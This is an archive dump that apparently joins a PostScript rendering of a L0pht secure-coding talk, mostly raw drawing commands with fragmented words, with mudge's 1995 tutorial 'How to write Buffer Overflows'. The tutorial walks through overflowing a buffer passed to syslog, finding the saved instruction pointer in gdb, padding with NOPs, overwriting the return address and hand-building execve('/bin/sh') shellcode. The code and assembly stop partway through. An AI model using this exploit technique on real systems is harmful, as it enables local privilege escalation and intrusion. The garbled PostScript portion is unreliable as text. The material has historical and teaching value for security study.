(atend) %%Pages: (atend) %%BeginResource: procset Win35Dict 3 1 /Win35Dict 290 dict def Win35Dict begin/bd{bind def}bind def/in{72 mul}bd/ed{exch def}bd/ld{load def}bd/tr/translate ld/gs/gsave ld/gr /grestore ld/M/moveto ld/L/lineto ld/rmt/rmoveto ld/rlt/rlineto ld /rct/rcurveto ld/st/stroke ld/n/newpath ld/sm/setmatrix ld/cm/currentmatrix ld/cp/closepath ld/ARC/arcn ld/TR{65536 div}bd/lj/setlinejoin ld/lc /setlinecap ld/ml/setmiterlimit ld/sl/setlinewidth ld/scignore false def/sc{scignore{pop pop pop}{0 index 2 index eq 2 index 4 index eq and{pop pop 255 div setgray}{3{255 div 3 1 roll}repeat setrgbcolor}ifelse}ifelse}bd /FC{bR bG bB sc}bd/fC{/bB ed/bG ed/bR ed}bd/HC{hR hG hB sc}bd/hC{ /hB ed/hG ed/hR ed}bd/PC{pR pG pB sc}bd/pC{/pB ed/pG ed/pR ed}bd/sM matrix def/PenW 1 def/iPen 5 def/mxF matrix def/mxE matrix def/mxUE matrix def/mxUF matrix def/fBE false def/iDevRes 72 0 matrix defaultmatrix dtransform dup mul exch dup mul add sqrt def/fPP false def/SS{fPP{ /SV save def}{gs}ifelse}bd/RS{fPP{SV restore}{gr}ifelse}bd/EJ{gsave showpage grestore}bd/#C{userdict begin/#copies ed end}bd/FEbuf 2 string def/FEglyph(G )def/FE{1 exch{dup 16 FEbuf cvrs FEglyph exch 1 exch putinterval 1 index exch FEglyph cvn put}for}bd/SM{/iRes ed/cyP ed /cxPg ed/cyM ed/cxM ed 72 100 div dup scale dup 0 ne{90 eq{cyM exch 0 eq{cxM exch tr -90 rotate -1 1 scale}{cxM cxPg add exch tr +90 rotate}ifelse}{cyP cyM sub exch 0 ne{cxM exch tr -90 rotate}{cxM cxPg add exch tr -90 rotate 1 -1 scale}ifelse}ifelse}{pop cyP cyM sub exch 0 ne{cxM cxPg add exch tr 180 rotate}{cxM exch tr 1 -1 scale}ifelse}ifelse 100 iRes div dup scale 0 0 transform .25 add round .25 sub exch .25 add round .25 sub exch itransform translate}bd/SJ{1 index 0 eq{pop pop/fBE false def}{1 index/Break ed div/dxBreak ed/fBE true def}ifelse}bd/ANSIVec[ 16#0/grave 16#1/acute 16#2/circumflex 16#3/tilde 16#4/macron 16#5/breve 16#6/dotaccent 16#7/dieresis 16#8/ring 16#9/cedilla 16#A/hungarumlaut 16#B/ogonek 16#C/caron 16#D/dotlessi 16#27/quotesingle 16#60/grave 16#7C/bar 16#82/quotesinglbase 16#83/florin 16#84/quotedblbase 16#85 /ellipsis 16#86/dagger 16#87/daggerdbl 16#88/circumflex 16#89/perthousand 16#8A/Scaron 16#8B/guilsinglleft 16#8C/OE 16#91/quoteleft 16#92/quoteright 16#93/quotedblleft 16#94/quotedblright 16#95/bullet 16#96/endash 16#97 /emdash 16#98/tilde 16#99/trademark 16#9A/scaron 16#9B/guilsinglright 16#9C/oe 16#9F/Ydieresis 16#A0/space 16#A1/exclamdown 16#A4/currency 16#A5/yen 16#A6/brokenbar 16#A7/section 16#A8/dieresis 16#A9/copyright 16#AA/ordfeminine 16#AB/guillemotleft 16#AC/logicalnot 16#AD/hyphen 16#AE/registered 16#AF/macron 16#B0/degree 16#B1/plusminus 16#B2/twosuperior 16#B3/threesuperior 16#B4/acute 16#B5/mu 16#B6/paragraph 16#B7/periodcentered 16#B8/cedilla 16#B9/onesuperior 16#BA/ordmasculine 16#BB/guillemotright 16#BC/onequarter 16#BD/onehalf 16#BE/threequarters 16#BF/questiondown 16#C0/Agrave 16#C1/Aacute 16#C2/Acircumflex 16#C3/Atilde 16#C4/Adieresis 16#C5/Aring 16#C6/AE 16#C7/Ccedilla 16#C8/Egrave 16#C9/Eacute 16#CA /Ecircumflex 16#CB/Edieresis 16#CC/Igrave 16#CD/Iacute 16#CE/Icircumflex 16#CF/Idieresis 16#D0/Eth 16#D1/Ntilde 16#D2/Ograve 16#D3/Oacute 16#D4 /Ocircumflex 16#D5/Otilde 16#D6/Odieresis 16#D7/multiply 16#D8/Oslash 16#D9/Ugrave 16#DA/Uacute 16#DB/Ucircumflex 16#DC/Udieresis 16#DD/Yacute 16#DE/Thorn 16#DF/germandbls 16#E0/agrave 16#E1/aacute 16#E2/acircumflex 16#E3/atilde 16#E4/adieresis 16#E5/aring 16#E6/ae 16#E7/ccedilla 16#E8 /egrave 16#E9/eacute 16#EA/ecircumflex 16#EB/edieresis 16#EC/igrave 16#ED/iacute 16#EE/icircumflex 16#EF/idieresis 16#F0/eth 16#F1/ntilde 16#F2/ograve 16#F3/oacute 16#F4/ocircumflex 16#F5/otilde 16#F6/odieresis 16#F7/divide 16#F8/oslash 16#F9/ugrave 16#FA/uacute 16#FB/ucircumflex 16#FC/udieresis 16#FD/yacute 16#FE/thorn 16#FF/ydieresis ] def/reencdict 12 dict def/IsChar{basefontdict/CharStrings get exch known}bd/MapCh{dup IsChar not{pop/bullet}if newfont/Encoding get 3 1 roll put}bd/MapDegree{16#b0 /degree IsChar{/degree}{/ring}ifelse MapCh}bd/MapBB{16#a6/brokenbar IsChar{/brokenbar}{/bar}ifelse MapCh}bd/ANSIFont{reencdict begin/newfontname ed/basefontname ed FontDirectory newfontname known not{/basefontdict basefontname findfont def/newfont basefontdict maxlength dict def basefontdict{exch dup/FID ne{dup/Encoding eq{exch dup length array copy newfont 3 1 roll put}{exch newfont 3 1 roll put}ifelse}{pop pop}ifelse}forall newfont /FontName newfontname put 127 1 159{newfont/Encoding get exch/bullet put}for ANSIVec aload pop ANSIVec length 2 idiv{MapCh}repeat MapDegree MapBB newfontname newfont definefont pop}if newfontname end}bd/SB{FC /ULlen ed/str ed str length fBE not{dup 1 gt{1 sub}if}if/cbStr ed /dxGdi ed/y0 ed/x0 ed str stringwidth dup 0 ne{/y1 ed/x1 ed y1 y1 mul x1 x1 mul add sqrt dxGdi exch div 1 sub dup x1 mul cbStr div exch y1 mul cbStr div}{exch abs neg dxGdi add cbStr div exch}ifelse/dyExtra ed/dxExtra ed x0 y0 M fBE{dxBreak 0 BCh dxExtra dyExtra str awidthshow}{dxExtra dyExtra str ashow}ifelse fUL{x0 y0 M dxUL dyUL rmt ULlen fBE{Break add}if 0 mxUE transform gs rlt cyUL sl [] 0 setdash st gr}if fSO{x0 y0 M dxSO dySO rmt ULlen fBE{Break add}if 0 mxUE transform gs rlt cyUL sl [] 0 setdash st gr}if n/fBE false def}bd/font{/name ed/Ascent ed 0 ne/fT3 ed 0 ne/fSO ed 0 ne/fUL ed/Sy ed/Sx ed 10.0 div/ori ed -10.0 div/esc ed/BCh ed name findfont/xAscent 0 def/yAscent Ascent def/ULesc esc def ULesc mxUE rotate pop fT3{/esc 0 def xAscent yAscent mxUE transform /yAscent ed/xAscent ed}if [Sx 0 0 Sy neg xAscent yAscent] esc mxE rotate mxF concatmatrix makefont setfont [Sx 0 0 Sy neg 0 Ascent] mxUE mxUF concatmatrix pop fUL{currentfont dup/FontInfo get/UnderlinePosition known not{pop/Courier findfont}if/FontInfo get/UnderlinePosition get 1000 div 0 exch mxUF transform/dyUL ed/dxUL ed}if fSO{0 .3 mxUF transform /dySO ed/dxSO ed}if fUL fSO or{currentfont dup/FontInfo get/UnderlineThickness known not{pop/Courier findfont}if/FontInfo get/UnderlineThickness get 1000 div Sy mul/cyUL ed}if}bd/min{2 copy gt{exch}if pop}bd/max{2 copy lt{exch}if pop}bd/CP{/ft ed{{ft 0 eq{clip}{eoclip}ifelse}stopped{currentflat 1 add setflat}{exit}ifelse}loop}bd/patfont 10 dict def patfont begin /FontType 3 def/FontMatrix [1 0 0 -1 0 0] def/FontBBox [0 0 16 16] def/Encoding StandardEncoding def/BuildChar{pop pop 16 0 0 0 16 16 setcachedevice 16 16 false [1 0 0 1 .25 .25]{pat}imagemask}bd end/p{ /pat 32 string def{}forall 0 1 7{dup 2 mul pat exch 3 index put dup 2 mul 1 add pat exch 3 index put dup 2 mul 16 add pat exch 3 index put 2 mul 17 add pat exch 2 index put pop}for}bd/pfill{/PatFont patfont definefont setfont/ch(AAAA)def X0 64 X1{Y1 -16 Y0{1 index exch M ch show}for pop}for}bd/vert{X0 w X1{dup Y0 M Y1 L st}for}bd/horz{Y0 w Y1{dup X0 exch M X1 exch L st}for}bd/fdiag{X0 w X1{Y0 M X1 X0 sub dup rlt st}for Y0 w Y1{X0 exch M Y1 Y0 sub dup rlt st}for}bd/bdiag{X0 w X1{Y1 M X1 X0 sub dup neg rlt st}for Y0 w Y1{X0 exch M Y1 Y0 sub dup neg rlt st}for}bd/AU{1 add cvi 15 or}bd/AD{1 sub cvi -16 and}bd/SHR{pathbbox AU/Y1 ed AU/X1 ed AD/Y0 ed AD/X0 ed}bd/hfill{/w iRes 37.5 div round def 0.1 sl [] 0 setdash n dup 0 eq{horz}if dup 1 eq{vert}if dup 2 eq{fdiag}if dup 3 eq{bdiag}if dup 4 eq{horz vert}if 5 eq{fdiag bdiag}if}bd/F{/ft ed fm 256 and 0 ne{gs FC ft 0 eq{fill}{eofill}ifelse gr}if fm 1536 and 0 ne{SHR gs HC ft CP fm 1024 and 0 ne{/Tmp save def pfill Tmp restore}{fm 15 and hfill}ifelse gr}if}bd/S{PenW sl PC st}bd/m matrix def/GW{iRes 12 div PenW add cvi}bd/DoW{iRes 50 div PenW add cvi}bd/DW{iRes 8 div PenW add cvi}bd/SP{/PenW ed/iPen ed iPen 0 eq iPen 6 eq or{[] 0 setdash}if iPen 1 eq{[DW GW] 0 setdash}if iPen 2 eq{[DoW GW] 0 setdash}if iPen 3 eq{[DW GW DoW GW] 0 setdash}if iPen 4 eq{[DW GW DoW GW DoW GW] 0 setdash}if}bd/E{m cm pop tr scale 1 0 moveto 0 0 1 0 360 arc cp m sm}bd /AG{/sy ed/sx ed sx div 4 1 roll sy div 4 1 roll sx div 4 1 roll sy div 4 1 roll atan/a2 ed atan/a1 ed sx sy scale a1 a2 ARC}def/A{m cm pop tr AG m sm}def/P{m cm pop tr 0 0 M AG cp m sm}def/RRect{n 4 copy M 3 1 roll exch L 4 2 roll L L cp}bd/RRCC{/r ed/y1 ed/x1 ed/y0 ed/x0 ed x0 x1 add 2 div y0 M x1 y0 x1 y1 r arcto 4{pop}repeat x1 y1 x0 y1 r arcto 4{pop}repeat x0 y1 x0 y0 r arcto 4{pop}repeat x0 y0 x1 y0 r arcto 4{pop}repeat cp}bd/RR{2 copy 0 eq exch 0 eq or{pop pop RRect}{2 copy eq{pop RRCC}{m cm pop/y2 ed/x2 ed/ys y2 x2 div 1 max def/xs x2 y2 div 1 max def/y1 exch ys div def/x1 exch xs div def/y0 exch ys div def/x0 exch xs div def/r2 x2 y2 min def xs ys scale x0 x1 add 2 div y0 M x1 y0 x1 y1 r2 arcto 4{pop}repeat x1 y1 x0 y1 r2 arcto 4{pop}repeat x0 y1 x0 y0 r2 arcto 4{pop}repeat x0 y0 x1 y0 r2 arcto 4{pop}repeat m sm cp}ifelse}ifelse}bd/PP{{rlt}repeat}bd/OB{gs 0 ne{7 3 roll/y ed /x ed x y translate ULesc rotate x neg y neg translate x y 7 -3 roll}if sc B fill gr}bd/B{M/dy ed/dx ed dx 0 rlt 0 dy rlt dx neg 0 rlt cp}bd /CB{B clip n}bd/ErrHandler{errordict dup maxlength exch length gt dup{errordict begin}if/errhelpdict 12 dict def errhelpdict begin/stackunderflow(operand stack underflow)def /undefined(this name is not defined in a dictionary)def/VMerror(you have used up all the printer's memory)def /typecheck(operator was expecting a different type of operand)def /ioerror(input/output error occured)def end{end}if errordict begin /handleerror{$error begin newerror{/newerror false def showpage 72 72 scale/x .25 def/y 9.6 def/Helvetica findfont .2 scalefont setfont x y moveto(Offending Command = )show/command load{dup type/stringtype ne{(max err string)cvs}if show}exec/y y .2 sub def x y moveto(Error = )show errorname{dup type dup( max err string )cvs show( : )show/stringtype ne{( max err string )cvs}if show}exec errordict begin errhelpdict errorname known{x 1 add y .2 sub moveto errhelpdict errorname get show}if end /y y .4 sub def x y moveto(Stack =)show ostack{/y y .2 sub def x 1 add y moveto dup type/stringtype ne{( max err string )cvs}if show}forall showpage}if end}def end}bd end %%EndResource /SVDoc save def %%EndProlog %%BeginSetup Win35Dict begin ErrHandler statusdict begin 0 setjobtimeout end statusdict begin statusdict /jobname (buf.doc) put end /oldDictCnt countdictstack def {}stopped { countdictstack oldDictCnt lt { Win35Dict begin } {1 1 countdictstack oldDictCnt sub {pop end } for } ifelse } if /oldDictCnt countdictstack def {letter }stopped { countdictstack oldDictCnt lt { Win35Dict begin } {1 1 countdictstack oldDictCnt sub {pop end } for } ifelse } if [{ } /exec load currenttransfer /exec load] cvx settransfer %%EndSetup %%Page: 1 1 %%PageResources: (atend) SS 0 0 25 11 798 1100 300 SM % Copyright (c) 1986-1995 Frame Technology Corporation. /FMcmyk 100 dict def /FmBD{bind def}bind def /FmLD{load def}FmBD /FMc { FMcmyk length FMcmyk maxlength ge { /FMcmyk FMcmyk dup length dup add dict copy def } if 4 array astore 4 1 roll 8 bitshift add 8 bitshift add exch FMcmyk 3 1 roll put }FmBD /setcmykcolor where { pop /sc where { pop /sc load 0 get /scignore eq { /FMsc /sc FmLD /sc { 3 copy 8 bitshift add 8 bitshift add FMcmyk 1 index known { FMcmyk exch get aload pop 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947 85 (any ) 82 SB 839 947 146 (people ) 144 SB 983 947 85 (just ) 83 SB 1066 947 92 (don\222) 91 SB 1157 947 27 (t ) 25 SB 1182 947 76 (see ) 74 SB 1256 947 99 (how ) 96 SB 1352 947 199 (prevalent ) 197 SB 1549 947 157 (bounds ) 155 SB 1704 947 193 (checking ) 190 SB 1894 947 199 (problems ) 197 SB 2091 947 74 (are.) 73 SB 2164 947 13 ( ) 11 SB 712 1005 91 (The ) 90 SB 802 1005 153 (number) 152 SB 954 1005 13 ( ) 12 SB 966 1005 55 (of ) 54 SB 1020 1005 193 (incidents ) 192 SB 1212 1005 52 (in ) 51 SB 1263 1005 74 (the ) 73 SB 1336 1005 113 (Unix ) 111 SB 1447 1005 130 (world ) 129 SB 1576 1005 146 (should ) 145 SB 1721 1005 60 (be ) 59 SB 1780 1005 42 (pr) 41 SB 1821 1005 80 (oof ) 79 SB 1900 1005 173 (enough. ) 171 SB 2071 1005 105 (Sure ) 104 SB 712 1063 113 (there ) 111 SB 823 1063 74 (are ) 72 SB 895 1063 35 (a ) 32 SB 927 1063 66 (lot ) 64 SB 991 1063 42 (of) 41 SB 1032 1063 13 ( ) 11 SB 1043 1063 94 (false) 95 SB 1138 1063 13 ( ) 10 SB 1148 1063 69 (pos) 70 SB 1218 1063 28 (it) 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553 28 (t) 24 SB 1503 553 44 (e) 41 SB 1544 553 28 (l) 24 SB 1568 553 25 ( ) 21 SB 1589 553 28 (t) 24 SB 1613 553 50 (o) 47 SB 1660 553 25 ( ) 21 SB 787 678 50 (S) 47 SB 834 678 61 (P) 57 SB 891 678 61 (A) 57 SB 948 678 61 (R) 58 SB 1006 678 67 (C) 63 SB 1069 678 25 ( ) 21 SB 1090 678 61 (V) 57 SB 1147 678 44 (e) 41 SB 1188 678 39 (r) 35 SB 1223 678 39 (s) 35 SB 1258 678 28 (i) 25 SB 1283 678 50 (o) 46 SB 1329 678 50 (n) 46 SB 1375 678 25 ( ) 21 SB 1396 678 50 (8) 43 SB 32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font 787 941 44 (m) 45 SB 832 941 31 (u) 30 SB 862 941 62 (dg) 61 SB 923 941 119 (e@l0) 118 SB 1041 941 79 (pht) 78 SB 1119 941 73 (.co) 72 SB 1191 941 44 (m) 45 SB 32 0 0 41 41 0 0 0 40 /Times-Bold /font9 ANSIFont font 787 1092 27 (T) 28 SB 815 1092 41 (he) 42 SB 857 1092 74 ( pur) 75 SB 932 1092 78 (pose) 79 SB 1011 1092 103 ( of thi) 104 SB 1115 1092 72 (s tal) 73 SB 1188 1092 44 (k i) 45 SB 1233 1092 140 (s to fam) 141 SB 1374 1092 22 (il) 23 SB 1397 1092 11 (i) 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( ) 12 SB 994 2255 192 (common\)) 192 SB 862 2351 69 (cha) 70 SB 932 2351 17 (r) 16 SB 948 2351 169 ( env[20]) 168 SB 1116 2351 14 (;) 14 SB 862 2447 276 (env = getenv\() 275 SB 1137 2447 22 (\223) 23 SB 1160 2447 28 (F) 27 SB 1187 2447 36 (O) 37 SB 1224 2447 160 (OBAR\224) 161 SB 1385 2447 17 (\)) 16 SB 1401 2447 14 (;) 14 SB 787 2564 33 (B) 34 SB 821 2564 42 (uf) 41 SB 862 2564 69 (fer ) 68 SB 930 2564 120 (overfl) 119 SB 1049 2564 61 (ow) 62 SB 1111 2564 71 (s ar) 70 SB 1181 2564 22 (e) 23 SB 1204 2564 13 ( ) 12 SB 1216 2564 63 (by ) 62 SB 1278 2564 69 (far ) 68 SB 1346 2564 61 (the) 62 SB 1408 2564 13 ( ) 12 SB 1420 2564 298 (most common ) 297 SB 1717 2564 19 (s) 20 SB 1737 2564 100 (ecuri) 99 SB 1836 2564 94 (ty pr) 93 SB 1929 2564 86 (oble) 87 SB 2016 2564 39 (m) 38 SB 2054 2564 65 ( in ) 64 SB 2118 2564 89 (cod-) 89 SB 787 2622 90 (ing. ) 89 SB 876 2622 83 (For ) 82 SB 958 2622 124 (every ) 123 SB 1081 2622 19 (s) 20 SB 1101 2622 166 (ystem\(\),) 165 SB 1266 2622 152 ( popen\() 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font Times-Bold %%+ font Times-Italic %%+ font Times-Roman %%Trailer SVDoc restore end %%Pages: 4 %%DocumentSuppliedResources: procset Win35Dict 3 1 %%DocumentNeededResources: font Helvetica-Bold %%+ font Times-Bold %%+ font Times-Italic %%+ font Times-Roman %%EOF  buffer-overflows/bufero.html100644 0 0 66360 6355067210 14641 0ustar rootroot L0pht Heavy Industries Services
l0pht advisories

How to write Buffer Overflows




This is really rough, and some of it is not needed. I wrote this as
a reminder note to myself as I really didn't want to look at any more
AT&T assembly again for a while and was afraid I would forget what
I had done. If you are an old assembly guru then you might scoff at
some of this... oh well, it works and that's a hack in itself.


-by mudge@l0pht.com 10/20/95


test out the program (duh). 

--------syslog_test_1.c------------
#include 
char buffer[4028];
void main() {
   int i;
   for (i=0; i<=4028; i++)
       buffer[i]='A';
   syslog(LOG_ERR, buffer);
}
--------end syslog_test_1.c----------


Compile the program and run it. Make sure you include the symbol
table for the debugger or not... depending upon how macho you feel today.

bash$ gcc -g buf.c -o buf
bash$ buf
Segmentation fault (core dumped)


The 'Segmentation fault (core dumped)' is what we wanted to see. This
tells us there is definately an attempt to access some memory address
that we shouldn't. If you do much in 'C' with pointers on a unix machine
you have probably seen this (or Bus error) when pointing or dereferencing
incorrectly.


Fire up gdb on the program (with or without the core file). Assuming you
remove the core file (this way you can learn a bit about gdb), the
steps would be as follows:

   bash$ gdb buf
   (gdb) run
   Starting program: /usr2/home/syslog/buf 
   Program received signal 11, Segmentation fault
   0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)


Ok, this is good. The 41's you see are the hex equivallent for the ascii
character 'A'. We are definately going places where we shouldn't be.

   (gdb) info all-registers
   eax            0xefbfd641       -272640447
   ecx            0x00000000       0
   edx            0xefbfd67c       -272640388
   ebx            0xefbfe000       -272637952
   esp            0xefbfd238       0xefbfd238
   ebp            0xefbfde68       0xefbfde68
   esi            0xefbfd684       -272640380
   edi            0x0000cce8       52456
   eip            0x00001273       0x1273
   ps             0x00010212       66066
   cs             0x0000001f       31
   ss             0x00000027       39
   ds             0x00000027       39
   es             0x00000027       39
   fs             0x00000027       39
   gs             0x00000027       39


The gdb command 'info all-registers' shows the values in the current
hardware registers. The one we are really interested in is 'eip'. On
some platforms this will be called 'ip' or 'pc'. It is the Instruction
Pointer [also called Program Counter]. It points to the memory location
of the next instruction the processor will execute. By overwriting
this you can point to the beginning of your own code and the 
processor will merrily start executing it assuming you have it written
as native opcodes and operands.


In the above we haven't gotten exactly where we need to be yet. If you want
to see where it crashed out do the following:

(gdb) disassemble 0x1273
   [stuff deleted]
   0x1267 :   incl   0xfffff3dc(%ebp)
   0x126d :   testb  %al,%al
   0x126f :   jne    0x125c 
   0x1271 :   jmp    0x1276 
   0x1273 :   movb   %al,(%ebx)
   0x1275 :   incl   %ebx
   0x1276 :   incl   %edi
   0x1277 :   movb   (%edi),%al
   0x1279 :   testb  %al,%al


If you are familiar with microsoft assembler this will be a bit backwards
to you. For example: in microsoft you would 'mov ax,cx' to move cx to ax.
In AT&T 'mov ax,cx' moves ax to cx. So put on those warp refraction eye-goggles
and on we go.


Note also that Intel assembler 


let's go back and tweak the original source code some eh?

-------------syslog_test_2.c-------------
#include 
char buffer[4028];
void main() {
   int i;
   for (i=0; i<2024; i++)
       buffer[i]='A';
   syslog(LOG_ERR, buffer);
}
-----------end syslog_test_2.c-------------


We're just shortening the length of 'A''s.

   bash$ gcc -g buf.c -o buf
   bash$ gdb buf
   (gdb) run
   Starting program: /usr2/home/syslog/buf 
   Program received signal 5, Trace/BPT trap
   0x1001 in ?? (Error accessing memory address 0x41414149: Cannot 
	allocate memory.


This is the magic response we've been looking for.

   (gdb) info all-registers 
   eax            0xffffffff       -1
   ecx            0x00000000       0
   edx            0x00000008       8
   ebx            0xefbfdeb4       -272638284
   esp            0xefbfde70       0xefbfde70
   ebp            0x41414141       0x41414141   <- here it is!!!
   esi            0xefbfdec0       -272638272
   edi            0xefbfdeb8       -272638280
   eip            0x00001001       0x1001
   ps             0x00000246       582
   cs             0x0000001f       31
   ss             0x00000027       39
   ds             0x00000027       39
   es             0x00000027       39
   fs             0x00000027       39
   gs             0x00000027       39


Now we move it along until we figure out where eip lives in the overflow 
(which is right after ebp in this arch architecture). With that known fact 
we only have to add 4 more bytes to our buffer of 'A''s and we will 
overwrite eip completely.

---------syslog_test_3.c----------------
#include 
char buffer[4028];
void main() {
   int i;
   for (i=0; i<2028; i++)
       buffer[i]='A';
   syslog(LOG_ERR, buffer);
}
-------end syslog_test_3.c------------
   bash$ !gc
   gcc -g buf.c -o buf
   bash$ gdb buf
   (gdb) run
   Starting program: /usr2/home/syslog/buf 
   Program received signal 11, Segmentation fault
   0x41414141 in errno (Error accessing memory address 
                    0x41414149: Cannot allocate memory.
   (gdb) info all-registers 
   eax            0xffffffff       -1
   ecx            0x00000000       0
   edx            0x00000008       8
   ebx            0xefbfdeb4       -272638284
   esp            0xefbfde70       0xefbfde70
   ebp            0x41414141       0x41414141
   esi            0xefbfdec0       -272638272
   edi            0xefbfdeb8       -272638280
   eip            0x41414141       0x41414141
   ps             0x00010246       66118
   cs             0x0000001f       31
   ss             0x00000027       39
   ds             0x00000027       39
   es             0x00000027       39
   fs             0x00000027       39
   gs             0x00000027       39


BINGO!!!


Here's where it starts to get interesting. Now that we know eip starts
at buffer[2024] and goes through buffer[2027] we can load it up with
whatever we need. The question is... what do we need?


We find this by looking at the contents of buffer[].

   (gdb) disassemble buffer
   [stuff deleted]
   0xc738 :   incl   %ecx
   0xc739 :   incl   %ecx
   0xc73a :   incl   %ecx
   0xc73b :   incl   %ecx
   0xc73c :   addb   %al,(%eax)
   0xc73e :   addb   %al,(%eax)
   0xc740 :   addb   %al,(%eax)
   [stuff deleted]


On the Intel x86 architecture [a pentium here but that doesn't matter]
incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000 or 0x0
hex. We will load up buffer[2024] to buffer[2027] with the address of
0xc73c where we will start our code. You have two options here, one is
to load the buffer up with the opcodes and operands and point the eip
back into the buffer; the other option is what we are going to be doing
which is to put the opcodes and operands after the eip and point to them.


The advantage to putting the code inside the buffer is that other than
the ebp and eip registers you don't clobber anything else. The disadvantage
is that you will need to do trickier coding (and actually write the
assembly yourself) so that there are no bytes that contain 0x0 which will
look like a null in the string. This will require you to know enough about
the native chip architecture and opcodes to do this [easy enough for some
people on Intel x86's but what happens when you run into an Alpha? -- lucky
for us there is a gdb for Alpha I think ;-)].


The advantage to putting the code after the eip is that you don't have to
worry about bytes containing 0x0 in them. This way you can write whatever
program you want to execute in 'C' and have gdb generate most of the
machine code for you. The disadvantage is that you are overwriting the
great unknown. In most cases the section you start to overwrite here 
contains your environment variables and other whatnots.... upon 
succesfully running your created code you might be dropped back into
a big void. Deal with it.


The safest instruction is NOP which is a benign no-operation.
This is what you will probably be loading the buffer up with as filler. 


Ahhh but what if you don't know what the opcodes are for the particular
architecture you are on. No problem. gcc has a wonderfull function called
__asm__(char *); I rely upon this heavily for doing buffer overflows
on architectures that I don't have assembler books for.

------nop.c--------
void main(){
__asm__("nop\n");
}
----end nop.c------
   bash$ gcc -g nop.c -o nop
   bash$ gdb nop
   (gdb) disassemble main
   Dump of assembler code for function main:
   to 0x1088:
   0x1080 
:  pushl  %ebp
   0x1081 :        movl   %esp,%ebp
   0x1083 :        nop    
   0x1084 :        leave  
   0x1085 :        ret    
   0x1086 :        addb   %al,(%eax)
   End of assembler dump.
   (gdb) x/bx 0x1083
   0x1083 :  0x90


Since nop is at 0x1083 and the next instruction is at 0x1084 we know that
nop only takes up one byte. Examining that byte shows us that it is
0x90 (hex).


Our program now looks like this:

------ syslog_test_4.c---------
#include 
char buffer[4028];
void main() {
   int i;
   for (i=0; i<2024; i++)
       buffer[i]=0x90;
   i=2024;
   buffer[i++]=0x3c;
   buffer[i++]=0xc7;
   buffer[i++]=0x00;
   buffer[i++]=0x00;
   syslog(LOG_ERR, buffer);
}
------end syslog_test_4.c-------


Notice you need to load the eip backwards ie 0000c73c is loaded into
the buffer as 3c c7 00 00.


Now the question we have is what is the code we insert from here on?


Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as
to why someone would want to do something like this, but I hear there
are a lot of nasty people out there. Oh well. Here's the proggie we
want to execute in C code:

------execute.c--------
#include 
main()
{
   char *name[2];
   name[0] = "sh";
   name[1] = NULL;
   execve("/bin/sh",name,NULL);
}  
----end execute.c-------
   bash$ gcc -g execute.c -o execute
   bash$ execute
   $ 


Ok, the program works. Then again, if you couldn't whip up that
little prog you should probably throw in the towel here. Maybe become
a webmaster or something that requires little to no programming (or
brainwave activity period). Here's the gdb scoop:

   bash$ gdb execute
   (gdb) disassemble main
   Dump of assembler code for function main:
   to 0x10b8:
   0x1088 
:  pushl  %ebp
   0x1089 :        movl   %esp,%ebp
   0x108b :        subl   $0x8,%esp
   0x108e :        movl   $0x1080,0xfffffff8(%ebp)
   0x1095 :       movl   $0x0,0xfffffffc(%ebp)
   0x109c :       pushl  $0x0
   0x109e :       leal   0xfffffff8(%ebp),%eax
   0x10a1 :       pushl  %eax
   0x10a2 :       pushl  $0x1083
   0x10a7 :       call   0x10b8 
   0x10ac :       leave  
   0x10ad :       ret    
   0x10ae :       addb   %al,(%eax)
   0x10b0 :       jmp    0x1140 
   0x10b5 :       addb   %al,(%eax)
   0x10b7 :       addb   %cl,0x3b05(%ebp)
   End of assembler dump.
   (gdb) disassemble execve
   Dump of assembler code for function execve:
   to 0x10c8:
   0x10b8 :        leal   0x3b,%eax
   0x10be :      lcall  0x7,0x0
   0x10c5 :     jb     0x10b0 
   0x10c7 :     ret    
   End of assembler dump.


This is the assembly behind what our execute program does to run /bin/sh.
We use execve() as it is a system call and this is what we are going to
have our program execute (ie let the kernel service run it as opposed
to having to write it from scratch).


0x1083 contains the /bin/sh string and is the last thing pushed onto the
stack before the call to execve.

   (gdb) x/10bc 0x1083
   0x1083 :  47 '/'  98 'b'  105 'i'  110 'n'  47 '/'  115 's'  
                       104 'h'  0 '\000'


(0x1080 contains the arguments...which I haven't been able to really
clean up).


We will replace this address with the one where our string lives [when
we decide where that will be].


Here's the skeleton we will use from the execve disassembly:

[main]
   0x108d :        movl   %esp,%ebp
   0x108e :        movl   $0x1083,0xfffffff8(%ebp)
   0x1095 :       movl   $0x0,0xfffffffc(%ebp)
   0x109c :       pushl  $0x0
   0x109e :       leal   0xfffffff8(%ebp),%eax
   0x10a1 :       pushl  %eax
   0x10a2 :       pushl  $0x1080
[execve]
   0x10b8 :        leal   0x3b,%eax
   0x10be :      lcall  0x7,0x0


All you need to do from here is to build up a bit of an environment for
the program. Some of this stuff isn't necesary but I have it in still
as I haven't fine tuned this yet.


I clean up eax. I don't remember why I do this and it shouldn't
really be necesarry. Hell, better quit hitting the sauce.
I'll figure out if it is after I tune this up a bit.

   xorl   %eax,%eax


We will encapsulate the actuall program with a jmp to somewhere and a call right back to the instruction after the jmp. This pushes ecx and esi onto 
the stack.

   jmp    0x????  # this will jump to the call...
   popl   %esi
   popl   %ecx


The call back will be something like:

   call   0x????  # this will point to the instruction after the jmp (ie
		  # popl %esi)
All put together it looks like this now:
----------------------------------------------------------------------
   movl   %esp,%ebp   
   xorl   %eax,%eax
   jmp    0x????  # we don't know where yet...
# -------------[main]
   movl   $0x????,0xfffffff8(%ebp)  # we don't know what the address will
				    # be yet.
   movl   $0x0,0xfffffffc(%ebp)
   pushl  $0x0
   leal   0xfffffff8(%ebp),%eax
   pushl  %eax
   pushl  $0x????		    # we don't know what the address will
				    # be yet.
# ------------[execve]
   leal   0x3b,%eax
   lcall  0x7,0x0
   call   0x????  # we don't know where yet...
----------------------------------------------------------------------


There are only a couple of more things that we need to add before we
fill in the addresses to a couple of the instructions.


Since we aren't actually calling execve with a 'call' anymore here, we need 
to push the value in ecx onto the stack to simulate it.

# ------------[execve]
   pushl  %ecx
   leal   0x3b,%eax
   lcall  0x7,0x0


The only other thing is to not pass in the arguments to /bin/sh. We do
this by changing the  ' leal   0xfffffff8(%ebp),%eax' to
' leal   0xfffffffc(%ebp),%eax' [remember 0x0 was moved there].


So the whole thing looks like this (without knowing the addresses for
the '/bin/sh\0' string):

   movl   %esp,%ebp 
   xorl   %eax,%eax # we added this
   jmp    0x????    # we added this
   popl   %esi      # we added this
